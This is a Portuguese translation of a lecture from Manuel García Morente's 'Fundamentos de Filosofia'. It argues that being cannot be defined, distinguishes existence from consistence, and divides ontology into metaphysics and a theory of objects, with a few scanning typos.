cap. IV – Os Problemas da Ontologia – Fundamentos de Filosofia de Manuel Morente

Fundamentos de Filosofia de Manuel Garcia Morente
Lições Preliminares

PARTE 
HISTÓRICA

Lição IV OS PROBLEMAS DA ONTOLOGIA

27.
QUE É O SER? IMPOSSIBILIDADE DE DEFINIR O SER. — 28.  QUEM É O SER?  — 29. 
EXISTÊNCIA E  CONSISTÊNCIA.  — 30.   QUEM EXISTE?

Nas
lições anteriores tentamos realizar algumas excursões pelo campo da filosofia,
mas limitando-nos a visões panorâmicas, por assim dizer, de caráter geral.

Na
nossa primeira excursão aproveitamos essa vista panorâmica para delimitar a
grandes traços o objeto geral da filosofia e os territórios do seu campo. A
segunda nos internou pelos problemas do método; e vimos que o método principal
da filosofia é a intuição, tanto na sua forma intelectual como nas suas formas
emotiva e volitiva, aplicando cada uma dessas formas segundo as modaíi.dades do
objeto em questão.

Agora
vamos tentar uma série de excursões por territórios mais intrincados, mais
difíceis. Vamos tratar de limpar um pouco o campo da ontologia e da
gnosiologia. As duas grandes divisões que podemos fazer na filosofia são a
Ontologia e a Gnosiologia, a teoria do ser e a teoria do saber, do conhecer. A
primeira nos servirá de introdução à filosofia da Antigüidade e da Idade Média;
a segunda, à da Idade Moderna.

A
ontologia, em termos gerais, se ocupa do ser, ou seja, não deste ou daquele ser
concreto e determinado, mas do ser em geral, do ser na acepção mais vasta e
ampla desta palavra.

A
primeira coisa que açode a qualquer um a quem lhe digam que uma disciplina vai
ocupar-se de um objeto, é que essa disciplina tem que dizer-lhe o que este
objeto é. Por conseguinte, o problema compreendido primariamente na teoria do
ser deveria ser este: que é o ser?

Ora:
formulada desta primeira maneira, a pergunta implica que aquilo que se pede,
que aquilo que se quer e se exige é uma definição do ser, que se nos diga que
coisa é o ser.

Vamos
ver dentro de um instante a dificuldade insuperável, absolutamente insuperável,
desse sentido da pergunta. Se tomarmos a pergunta nesse sentido tropeçaremos
com uma dificuldade que faz impossível a resposta.

Porém
não somente se pode perguntar: que é o ser?; não somente pode pedir-se a definição
do ser, como também poderia perguntar-se: quem é o ser? Neste caso, já não se
pediria definição do ser; aquilo que se pediria seria indicação do ser; que se
nos mostrasse onde está o ser, quem é.

É
por isso que, desde já, para maior clareza em nosso desenvolvimento, vamos
concretizar nessas duas perguntas o problema prévio da ontologia: de uma parte,
a pergunta; que é o ser?; de outra parte, a pergunta: quem é o ser?

 

27.  
Que é o ser?   Impossibilidade de definir o ser.

Analisemos
a primeira pergunta: que é o ser? Digo, antes de tudo, que esta pergunta é.irrespondível.
A pergunta exige de nós que demos uma definição do ser. Ora: dar uma definição
de algo supõe reduzir este algo a elementos de caráter mais geral, incluir esse
algo num conceito mais geral ainda que ele. Existe conceito mais geral que o
conceito do ser? Pode encontrar-se por acaso alguma noção na qual caiba o ser,
e que, por conseguinte, deva ser mais extensa que o ser mesmo? Não existe.

Se
examinarmos as noções, os conceitos de que nos valemos nas ciências e até mesmo
na vida, veremos que estes conceitos possuem todos eles uma determinada
extensão, quer dizer, que cobrem uma parte da realidade, que se aplicam a um
grupo de objetos, a uns quantos seres. Mas estes conceitos são uns mais
extensos que outros; quer dizer, que alguns se aplicam a menos seres que
outros; como quando comparamos o conceito de "europeu" com o conceito
de "homem", encontramos, naturalmente, que há menos europeus do que
homens. Por conseguinte, o conceito de "homem" se aplica a mais
quantidade de seres que o conceito "europeu". Os conceitos são, pois,
uns mais extensos que outros.

Ora:
definir um conceito consiste em incluir este conceito em outro que seja mais
extenso, e em outros vários que sejam mais extensos e que se encontrem, se
toquem precisamente no ponto do conceito que queremos definir. Se nos propormos
definir o conceito de "ser", teremos que dispor de conceitos que
abranjam maior quantidade de seres que o conceito de ser; pois bem: o conceito
de ser em geral é aquele que abrange maior quantidade de seres. Por conseguinte,
não há outro mais extenso por meio do qual possa ser definido.

Mas
por outra parte podemos chegar também à mesma conclusão. Definir um conceito é
enumerar uma após outra as múltiplas e variadas notas características desse
conceito. Um conceito é tanto mais abundante em notas características quanto é
menos extenso, pois um conceito reduzido necessita mais notas definidoras que
um conceito muito amplo. E o conceito mais vasto de todos, o conceito do ser.
não tem, na realidade, notas que o definam.

Por
isso, para definir o ser, encontrar-nos-íamos com a dificuldade de não ter nada
que dizer dele. Hegel, que fez essa mesma observação, acaba por identificar o
conceito de "ser" com o conceito de "nada"; porque do ser
não podemos predicar nada, do mesmo modo que do nada não podemos predicar nada.
E, de outra parte, do ser podemos predicar tudo, o que equivale exatamente a
não poder predicar nada.

28.  
Quem é o ser?

Por
conseguinte, o conceito de "ser" não é um conceito que seja
definível. À pergunta: que é o ser? não podemos dar nenhuma resposta. Na
realidade, o ser não pode definir-se; a única coisa que se pode fazer com ele é
assinalá-lo, que não é o mesmo que defini-lo. Defini-lo é fazê-lo entrar em
outro conceito mais amplo; assinalá-lo é simplesmente convidar o interlocutor
para que dirija sua intuição a um determinado sítio, onde está o conceito de
ser. Assinalar o conceito de ser, isso sim é possível.

Ê
justamente a isso que nos convida nossa segunda pergunta, que já não é: que é o
ser? mas: quem é o ser? Esta variação "quem" em vez de
"que" nos faz ver que esta segunda pergunta tende não a definir, mas
a assinalar o ser para podê-lo intuir diretamente e sem definição nenhuma.

Se refletirmos
agora também sobre esta pergunta: "quem é o ser?" verificaremos que
esta pergunta implica algo estranho e curioso. Perguntar "quem é o
ser" parece querer dizer que não sabemos quem é o ser, que não conhecemos
o ser, e, ademais, que há diferentes pretensões, mais ou menos legítimas, a ser
o ser, que diferentes coisas pretendem ser o ser e que nós nos vemos obrigados
a examinar qual dessas coisas pode ostentar legitimamente o apelativo de
"ser".

Nossa
pergunta: quem é o ser? supõe, pois, a
distinção entre o ser que o é de verdade e o ser que não o é de verdade; supõe
uma distinção entre o ser autêntico e o inautêntico ou falso. Ou, como diziam
os gregos, como dizia Platão, entre o ser que é e o ser que não é.

Esta
distinção é, com efeito, algo que está contido na pergunta: quem é o ser? E
como poderemos, então, descobrir quem é o ser, se são vários os pretendentes a
essa dignidade? Pois poderemos descobri-lo quando aplicarmos a cada um desses
pretendentes o critério das duas perguntas.

Quando
se nos apresentar algo com a pretensão de ser o. "ser", antes de
decidir sobre isto, deveremos, pois, perguntar: que és? Se pudermos, então,
dissolver esse pretendente a ser, em outra coisa distinta dele, é porque ele
está composto de outros seres que não são ele e é redutível a eles e, por
conseguinte, quer dizer que este ser não é um ser autêntico, mas é um ser
composto ou consistente em outros seres. E se, pelo contrário, por muito que
façamos, não pudermos defini-lo, não pudermos dissolvê-lo, reduzi-lo a outros
seres, então esse ser poderá, com efeito, ostentar com legitimidade a pretensão
de ser o ser.

Isto
tornar-se-á mais claro se aplicarmos uma terminologia corrente no pensamento
filosófico e distinguirmos entre o ser em si e o ser em outro.

O
ser em outro é um ser inautêntico, é um ser falso, visto que logo que o examino
encontro-me com sua definição, quer dizer, que esse ser em outro é isto, isso,
aquilo; quer dizer, que ele não é senão um conjunto desses outros seres; que ele
consiste em outra coisa, e o ser que consiste em outro não pode ser, então, um
ser em si, pois consiste em outro.

Este
é tipicamente o ser em outro; mas, como aquilo que andamos procurando é o ser
em si, poderemos rejeitar, entre os múltiplos pretendentes ao ser em si, todos
aqueles que consistem em outra coisa que eles mesmos.

Isto
nos leva a equacionar de novo nossos problemas iniciais, mas agora numa forma
completamente distinta. Acabamos de perceber — e agora vamos expô-lo com
clareza — que a palavra "ser" tem dois significados. Depois
encontraremos, no decurso dessas aulas, outros muitos; mas "agora
acabamos de viver com uma vivência imediata, dois significados da palavra
"ser": um, o ser em si; outro, o ser em outro.

29.  
Existência e consistência.

Esses
dois significados eqüivalem a estes outros dois: a existência e a consistência.
A palavra "ser" significa, de uma parte, existir, estar aí. Mas, de
outra parte, significa também consistir, ser isto, ser aquilo. Quando
perguntamos: que é o homem? que é a água? que é a luz? não queremos perguntar
se existe ou não existe o homem, se existe ou não existe a água ou a luz.
Queremos dizer: qual é a sua essência? em que consiste o homem? em que consiste
a água? em que consiste a luz? Quando a Bíblia diz que Deus pronunciou estas palavras:
Fiat lux, que a luz seja, a palavra "ser" está empregada, não no
sentido de "consistir", mas no sentido de "existir". Quando
Deus disse: Fiat lux, que a luz seja, quis dizer que a luz, que não existia,
passasse a existir. Mas quando nós dizemos: que é a luz? não queremos dizer que
existência tem a luz, não; queremos dizer: qual é a sua essência? qual é a sua
consistência?

Assim,
estas duas significações da palavra "ser" vão servir-nos para
esclarecer nossos problemas iniciais. Vamos muito simplesmente aplicar a essas
duas significações da palavra "ser" as duas perguntas com que
iniciamos estes raciocínios: a pergunta: que é? e a pergunta: quem é? E
aplicadas essas duas perguntas aos dois sentidos do verbo "ser"
substantivado, temos: primeira pergunta: que é existir? Segunda pergunta: quem
existe? Terceira pergunta: que é consistir? Quarta pergunta: quem consiste?

Examinemos
estas quatro perguntas. Vamos examiná-las, não para respondê-las, mas para ver
se têm ou não resposta possível.

À
pergunta: que é existir? resulta evidente que não há resposta possível. Não se
pode dizer que é a existência. Existir é algo que intuímos diretamente. O
existir não pode ser objeto de definição. Por quê? Porque definir é dizer em
que consiste algo; mas acabamos de ver que o conceito de "consistir"
não coincide com o de "existir"; é algo muito distinto, que não se
pode confundir, que não se deve confundir.

Se,
pois, eu perguntar: que é existir? terei que responder a essa pergunta
indicando a consistência do existir, visto que todo definir consiste em
explicitar uma consistência; e a definição consiste na indicação do em que
consiste a coisa. Ora: é claro e evidente que o existir não consiste em nada. Por isso muitos filósofos — na realidade, todos os filósofos — se detêm ante a
impossibilidade de definir a existência. A existência não pode ser definida, e
precisamente haverá um momento na história da filosofia em que um filósofo,
Kant, fará uso desta distinção para fazer ver que certos argumentos metafísicos
consistiram em considerar a existência como um conceito, e manejá-lo,
baralhá-lo com outros conceitos, em vez de considerá-la como uma intuição que
não pode ser embaralhada ou pensada do mesmo modo que os conceitos.

Por
conseguinte, a pergunta: que é existir? não tem resposta e vamos eliminá-la da
ontologia. A ontologia não poderá dizer-nos o que é existir. Ninguém pode nos
dizer o que é existir; cada um o sabe por íntima e fatal experiência própria.

Passemos
à segunda pergunta, que é: quem existe? Esta segunda pergunta, sim, pode ter
resposta. A esta segunda pergunta cabe responder: eu existo, o mundo existe,
Deus existe, as coisas existem. E estas respostas comportam combinações; cabe
dizer: as coisas existem e eu como uma de tantas coisas. Cabe dizer também: eu
existo; porém não as coisas; as coisas não são mais que minhas representações;
as coisas não são mais do que fenômenos para mim, aparências que eu percebo,
mas não verdadeiras em realidade. Não "são" em si mesmas, mas em mim.                                                          i

Cabe
ainda responder: nem as coisas, nem eu existimos, na verdade, mas somente Deus
existe, e as coisas e eu existimos em Deus; as coisas e eu temos um ser que não
é um ser em mim, mas um ser em outro ser, em Deus. Também cabe responder isto. De modo que à pergunta: quem existe? podem dar-se várias
respostas.

Vamos
ver a terceira pergunta; que é consistir? Esta pergunta tom resposta. Pode
dizer-se em que consiste o consistir? Pode dizer-se em que consiste a
consistência; porque, com efeito, embora eu advirta que umas coisas consistem
em outras, nem todas consistem da mesma forma. Existem maneiras, modos, formas
variadas do consistir. A enumeração, o estudo de todas essas formas variadas do
consistir, é algo que se deve fazer, que se pode fazer, que se faz, que se fez.
E algo que constitui um capítulo importantíssimo da Ontologia. Agora veremos
qual.

E,
por último, a quarta pergunta: quem consiste? não tem resposta. Passa-se com
esta pergunta o mesmo que com a primeira: que é existir? que não tem resposta.
Também, quem consiste? não pode ter resposta, porque caberia dizer somente que
não sabemos quem consiste. Até que não saibamos quem existe, não podemos saber
quem consiste, porque somente quando saibamos quem existe, com existência real
em si, poderemos dizer que tudo o mais existe nesse ser primeiro e, portanto,
tudo o mais consiste. De sorte que a pergunta não tem resposta direta

Se —
como dizem, por exemplo, alguns filósofos como Espinosa — nada existe, nem as
coisas, nem eu, mas as coisas e eu estamos em Deus, então à pergunta: quem
consiste? responderemos que todos consistimos, salvo Deus, que não consiste,
visto que não é redutível a outra coisa e, pelo contrário, nós e as coisas
somos todos redutíveis a Deus. Por conseguinte, esta quarta pergunta não tem
nem pode ter resposta direta, é simplesmente o reverso da medalha da segunda
pergunta, porque logo que soubermos quem existe, saberemos quem é o ser
em si e então tudo aquilo que não for esse ser em si será ser nesse ser, isto
é, tudo o mais consistirá nesse ser.

Fica,
pois, reduzido nosso problema da ontologia a estas duas perguntas: quem existe?
e: que é consistir?

Para
a primeira existem múltiplas e variadas respostas. As respostas que se dão à
nergunta: quem existe? constituem a parte da ontologia que se chama a
metafísica. A metafísica é aquela parte da ontologia que se encaminha a decidir
quem existe, ou seja, quem é o ser em si, o ser que não é em outro, que não é
redutível a outro; e então os demais seres serão seres nesse ser em si. A metafísica é a parte da ontologia que responde ao problema da existência, da autêntica
e verdadeira existência, da existência em si, ou seja, à primeira pergunta.

Para
a segunda pergunta: que é consistir? existem também múltiplas respostas
possíveis. Essas múltiplas respostas possíveis são outras tantas maneiras de
consistir. Os objetos consistem nisso ou naquilo, e cada um consiste segundo a
estrutura de sua objetividade. A segunda pergunta: que é consistir? dá, pois,
lugar a uma teoria geral dos objetos, de qualquer objeto, da objetividade em geral. A segunda pergunta constitui a teoria do objeto, a teoria da objetividade, ou — se for
permitida uma inovação talvez não demasiadamente impertinente na terminologia
— poderíamos dizer: a teoria da consistência dos objetos em geral.

Assim,
pois, a ontologia, de que vamos falar durante umas quantas lições, divide-se
em: primeiro, metafísica e. segundo, teoria do objeto eu teoria da consistência
em geral. Nesse território da ontologia, abrem-se diante de nós duas grandes
avenidas: a avenida metafísica e a avenida da teoria do objeto. Vamos seguir
essas duas avenidas uma após outra.

30.  
Quem existe?

Na
história da filosofia os dois problemas (o problema de quem existe e o
problema de que é consistir) estiveram muitas vezes misturados, e isso
prejudicou a clareza e a nitidez dos filosofemas, das figuras (no
sentido psicológico que empregamos aqui, mas aplicado à filosofia), das figuras
filosóficas, dos temas filosóficos, dos objetos filosofados pelo filósofo. Tem
sido prejudicial, como todo equívoco é sempre prejudicial. Teremos, pois, muito
cuidado, nas nossas excursões pela metafísica e pela teoria dos
objetos,  de manter sempre muito claramente a distinção entre o ponto de vista
existencial metafísico e o ponto de vista objetivo consistência!. Não nos será
sempre possível cingir-nos estritamente a um desses dois pontos de vista; não
nos será sempre possível fazer metafísica sem teoria do objeto, nem fazer
teoria do objeto sem metafísica. Às vezes nós mesmos teremos que falar de ambos
os temas e quase que simultaneamente. Porém, se, desde já, tivermos bem
presente esta diferença essencial de orientação nos dois temas, não haverá
perigo em tratá-los às vezes, simultaneamente, feitas previamente as necessárias
distinções entra aquilo que vale para um e aquilo que vale para outro.

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